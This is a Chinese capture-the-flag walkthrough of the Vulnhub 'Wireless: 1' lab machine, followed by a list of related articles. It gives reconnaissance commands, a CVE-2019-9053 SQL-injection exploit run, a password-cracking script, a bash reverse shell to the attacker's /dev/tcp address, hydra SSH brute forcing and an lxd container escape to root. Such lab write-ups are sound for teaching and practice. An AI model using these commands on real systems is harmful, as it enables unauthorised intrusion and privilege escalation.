准备:

攻击机:虚拟机kali、本机win10。

靶机:Wireless: 1,下载地址:https://download.vulnhub.com/wireless/Mystiko-Wireless.rar,下载后直接vm打开即可。

知识点:lxd提权、密码字典生成、hydra爆破、dns解析、SMS信息解密、cve-2019-9053漏洞。

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.0.0/24,发现靶机地址:192.168.0.11。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.11,显示开放了22端口、80端口、8000端口、8080端口,开启了ssh服务、http服务

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.0.11,但是未发现有效信息。扫描其8000端口时,扫描失败。

3.web访问

通过web访问8000端口时,在首页发现了一个邮箱信息:jinmori@voip.in,猜测用户名是:jinmori。

在首页中发现登录页面:http://192.168.0.11:8000/login,然后在其源码信息中发现:http://192.168.0.11:8000/static/js/login.js文件,读取该文件信息。

直接在浏览器中右键检查中的console中执行代码,然后输出delog,命令:console.log(delog);

得到一个新的输出,将执行的结果继续执行,然后输出p,命令:console.log(p);,成功获得一串字符串,猜测是密码信息:Taekwondo。

二:信息利用

1.SMS信息解密

利用获得账户信息:jinmori/Taekwondo登录web系统,然后在其viop logs中发现SMS信息。

使用sms信息解密网站:https://www.smsdeliverer.com/online-sms-pdu-decoder.aspx对sms信息进行解密,成功获得提示信息,告诉我们要访问8080服务,还需要进行dns解析。

2.dns解析

win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.11 wireless.com。linux:打开/etc/hosts文件,添加:192.168.0.11 wireless.com。然后访问:http://wireless.com:8080/,返回信息告诉我们内部门户v1。后面在访问:http://wireless.com/时发现是CMS Made Simple框架,在其首页发现框架的版本信息:CMS Made Simple version 2.2.9。

使用searchsploit搜索下该框架版本的漏洞信息,发现存在sql注入漏洞。

3.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://wireless.com/,发现admin、tmp、config.php目录和文件。

三:获取shell

1.cve-2019-9053漏洞利用

直接使用该脚本进行漏洞利用,但是进行利用的时候发现一旦开启对密码明文信息的爆破该脚本就会报错,因此我这里就将爆破明文密码的那块代码单独拿出来了,只用该脚本其他信息,命令:python exp.py -u http://wireless.com/,成功获得salt:551c92a536111490、username:juniordev、加密的密码:a25bb9e6782e7329c236d2538dd4f5ac。

然后利用解密脚本对获得加密密码进行解密,这里为了方便测试直接写死了全部的参数,可以自行更改,执行完该脚本后成功获得密码:passion。

import hashlib

def crack_password():
password = 'a25bb9e6782e7329c236d2538dd4f5ac'
result = ''
salt = '551c92a536111490'
dict = open("C:\\Users\\86188\\Desktop\\pass.txt")
for line in dict.readlines():
line = line.replace("\n", "")
if str(hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest()) == password:
result += "\n[+] Password cracked: " + line
break
dict.close()
print(result) crack_password()

2.获取shell

利用获得的账户信息:juniordev/passion登录web页面,在web系统中的Extensions-user defined tags中发现可以执行代码,因此构造:exec("/bin/bash -c 'bash -i >&/dev/tcp/192.168.0.9/6688 0>&1'");进行shell反弹,成功获取shell权限。

四:8080端口利用

在上面虽然获得了shell权限,但是只在该权限中发现了coherer账户,未发现可以进行提权的信息点只能去8080端口看一下。但是我在8080端口也未发现有用的信息,在网上看了以下,发现存在一个子域名:testing.wireless.com,访问:http://testing.wireless.com:8080/服务时,返回的是一个登录页面,采用前面发现的账户信息:juniordev/passion可以直接登录到系统内。

在输入框中进行测试,当我们输入help时会回显我们可以执行的命令,可以执行的命令包含:tools、logs、whoami、clear、questions。当我们执行命令logs时返回了Network.data文件。

访问该文件是一个很长的一篇信息。

那我们就将Network.data文件生成字典,命令:cewl -m 4 http://testing.wireless.com:8080/static/Network.data > passwd,然后使用hydra进行爆破,命令:hydra ssh://192.168.0.11 -l coherer -P passwd,最终成功获得账户和密码信息:coherer/Induction。

使用获得的账户信息:coherer/Induction进行ssh登录,成功获得coherer权限的shell权限。

五:提权-root

在coherer的shell中发现coherer账户具有lxd权限,那我们就可以利用lxd进行提权,最终成功获得root权限。

#上传tar.gz文件,然后依次执行以下代码。百度网盘:链接:https://pan.baidu.com/s/1rJ61YRlLgEXGP-bUKPf7DA,提取码:upfn
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后在/mnt/root/root目录下发现proof.txt,读取该文件成功获得flag值。

vulnhub靶场之WIRELESS: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. java 操作PDF (spire.pdf)api

    https://www.e-iceblue.cn/pdf_java_image_shapes/replace-image-with-new-image-in-pdf-in-java.html mave ...

  2. pytest之conftest.py

    一.conftest.py的特点 1.可以跨.py文件调用,有多个.py文件调用时,可让conftest.py只调用了一次fixture,或调用多次fixture 2.conftest.py与运行的用 ...

  3. 【APT】响尾蛇(SideWinder)APT组织样本分析

    基础信息 名称:NDC Participants.docx类型:.docMD5:df020e81b7ca32868a8ac1f5eddd086f描述:通过远程模板注入技术加载含有CVE-2017-11 ...

  4. SourceMap解析

    前端发展至今已不再是刀耕火种的年代了,出现了typescript.babel.uglify.js等功能强大的工具.我们手动撰写的代码一般具有可读性,并且可以享受高级语法.类型检查带来的便利,但经过工具 ...

  5. cp 备份文件命令

    cp -p system.sh ./bak2022/systecm.sh.bak_`date '+%Y%m%d'` (备份system.sh文件后缀以bak_年月日命令)cp -rf old copy ...

  6. netty库包冲突问题

    参考 http://www.yayihouse.com/yayishuwu/chapter/1603 报错信息:Caused by: java.lang.NoSuchFieldError: netty ...

  7. 实现Runnable接口

    1.定义一个类用于实现Runnable接口 2.重写run()方法,编辑代码逻辑体 3.创建线程对象,调用start()开启线程 案例:我在学习 1 public class study implem ...

  8. login_while

    # -*- coding: utf-8 -*- # @Time : 2020/7/25 22:45 # @Author : Breeze # @FileName: login_while.py use ...

  9. 确定linux系统网卡对应的物理网口

    没插网线的情况下系统上执行ethtool -p eth0 #eth0 对应的物理口一个灯在不停的闪烁ethtool  --identify  eth0 30 #eth0 对应的物理口闪烁30秒 ... ...

  10. MySQL日常维护指南

    一.常用命令 1.查看数据库默认编码 show variables like 'character%'; show variables like 'collation%'; 2.启动停止数据库 /et ...